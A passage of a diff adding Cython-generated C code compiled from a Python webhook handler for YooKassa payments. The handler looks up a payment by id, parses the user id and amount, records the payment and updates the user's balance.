(unlikely(!__pyx_t_5)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_2, __pyx_n_u_object, __pyx_t_5}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_payment_object = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":182 + * + * payment_object = event.get("object", {}) + * payment_id = payment_object.get("id") # <<<<<<<<<<<<<< + * if not payment_id: + * logger.error(" ID ") + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment_object, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_payment_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":183 + * payment_object = event.get("object", {}) + * payment_id = payment_object.get("id") + * if not payment_id: # <<<<<<<<<<<<<< + * logger.error(" ID ") + * return web.Response(status=400) + */ + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_payment_id); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 183, __pyx_L1_error) + __pyx_t_7 = (!__pyx_t_6); + if (__pyx_t_7) { + + /* "handlers/payments/yookassa_pay.py":184 + * payment_id = payment_object.get("id") + * if not payment_id: + * logger.error(" ID ") # <<<<<<<<<<<<<< + * return web.Response(status=400) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u_ID}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":185 + * if not payment_id: + * logger.error(" ID ") + * return web.Response(status=400) # <<<<<<<<<<<<<< + * + * try: + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_web); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 185, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Response); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 185, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 185, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 185, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 185, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L0; + + /* "handlers/payments/yookassa_pay.py":183 + * payment_object = event.get("object", {}) + * payment_id = payment_object.get("id") + * if not payment_id: # <<<<<<<<<<<<<< + * logger.error(" ID ") + * return web.Response(status=400) + */ + } + + /* "handlers/payments/yookassa_pay.py":187 + * return web.Response(status=400) + * + * try: # <<<<<<<<<<<<<< + * payment = Payment.find_one(payment_id) + * logger.info(f" API Yookassa: {payment}") + */ + { + __Pyx_ExceptionSave(&__pyx_t_8, &__pyx_t_9, &__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_10); + /*try:*/ { + + /* "handlers/payments/yookassa_pay.py":188 + * + * try: + * payment = Payment.find_one(payment_id) # <<<<<<<<<<<<<< + * logger.info(f" API Yookassa: {payment}") + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_Payment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 188, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_find_one); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 188, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_payment_id}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 188, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_payment = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":189 + * try: + * payment = Payment.find_one(payment_id) + * logger.info(f" API Yookassa: {payment}") # <<<<<<<<<<<<<< + * + * if payment.status == "succeeded" and payment.paid: + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 189, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_info); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 189, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payment, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 189, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_API_Yookassa, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 189, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_2}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 189, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":191 + * logger.info(f" API Yookassa: {payment}") + * + * if payment.status == "succeeded" and payment.paid: # <<<<<<<<<<<<<< + * web.Response(status=200) + * user_id_str = payment.metadata.get("user_id") + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_status); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_3, __pyx_n_u_succeeded, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 191, __pyx_L6_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_6) { + } else { + __pyx_t_7 = __pyx_t_6; + goto __pyx_L13_bool_binop_done; + } + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_paid); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 191, __pyx_L6_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_7 = __pyx_t_6; + __pyx_L13_bool_binop_done:; + if (__pyx_t_7) { + + /* "handlers/payments/yookassa_pay.py":192 + * + * if payment.status == "succeeded" and payment.paid: + * web.Response(status=200) # <<<<<<<<<<<<<< + * user_id_str = payment.metadata.get("user_id") + * amount_str = payment.amount["value"] + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_web); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 192, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 192, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 192, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 192, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 192, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":193 + * if payment.status == "succeeded" and payment.paid: + * web.Response(status=200) + * user_id_str = payment.metadata.get("user_id") # <<<<<<<<<<<<<< + * amount_str = payment.amount["value"] + * + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_metadata); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 193, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_get); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_n_u_user_id}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 193, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_user_id_str = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":194 + * web.Response(status=200) + * user_id_str = payment.metadata.get("user_id") + * amount_str = payment.amount["value"] # <<<<<<<<<<<<<< + * + * try: + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_amount); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 194, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_2, __pyx_n_u_value); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 194, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":196 + * amount_str = payment.amount["value"] + * + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = float(amount_str) + */ + { + __Pyx_ExceptionSave(&__pyx_t_11, &__pyx_t_12, &__pyx_t_13); + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_13); + /*try:*/ { + + /* "handlers/payments/yookassa_pay.py":197 + * + * try: + * user_id = int(user_id_str) # <<<<<<<<<<<<<< + * amount = float(amount_str) + * logger.info(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + */ + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 197, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_user_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":198 + * try: + * user_id = int(user_id_str) + * amount = float(amount_str) # <<<<<<<<<<<<<< + * logger.info(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * + */ + __pyx_t_14 = __Pyx_PyObject_AsDouble(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(__pyx_t_14 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 198, __pyx_L15_error) + __pyx_cur_scope->__pyx_v_amount = __pyx_t_14; + + /* "handlers/payments/yookassa_pay.py":199 + * user_id = int(user_id_str) + * amount = float(amount_str) + * logger.info(f"Payment succeeded for user_id: {user_id}, amount: {amount}") # <<<<<<<<<<<<<< + * + * await add_payment(user_id, amount, "yookassa") + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 199, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 199, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyTuple_New(4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 199, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_15 = 0; + __pyx_t_16 = 127; + __Pyx_INCREF(__pyx_kp_u_Payment_succeeded_for_user_id); + __pyx_t_15 += 31; + __Pyx_GIVEREF(__pyx_kp_u_Payment_succeeded_for_user_id); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u_Payment_succeeded_for_user_id); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 199, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_16 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_16) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_16; + __pyx_t_15 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u_amount_2); + __pyx_t_15 += 10; + __Pyx_GIVEREF(__pyx_kp_u_amount_2); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u_amount_2); + __pyx_t_5 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 199, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_17 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 199, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_16 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_17) > __pyx_t_16) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_17) : __pyx_t_16; + __pyx_t_15 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_17); + __Pyx_GIVEREF(__pyx_t_17); + PyTuple_SET_ITEM(__pyx_t_2, 3, __pyx_t_17); + __pyx_t_17 = 0; + __pyx_t_17 = __Pyx_PyUnicode_Join(__pyx_t_2, 4, __pyx_t_15, __pyx_t_16); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 199, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_17}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 199, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":201 + * logger.info(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * + * await add_payment(user_id, amount, "yookassa") # <<<<<<<<<<<<<< + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 201, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_17 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 201, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_17); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[4] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_17, __pyx_n_u_yookassa_2}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 3+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L21_resume_from_await:; + __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 201, __pyx_L15_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 201, __pyx_L15_error) + } + } + + /* "handlers/payments/yookassa_pay.py":202 + * + * await add_payment(user_id, amount, "yookassa") + * await update_balance(user_id, amount) # <<<<<<<<<<<<<< + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_17 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 202, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_17); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_17}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; + 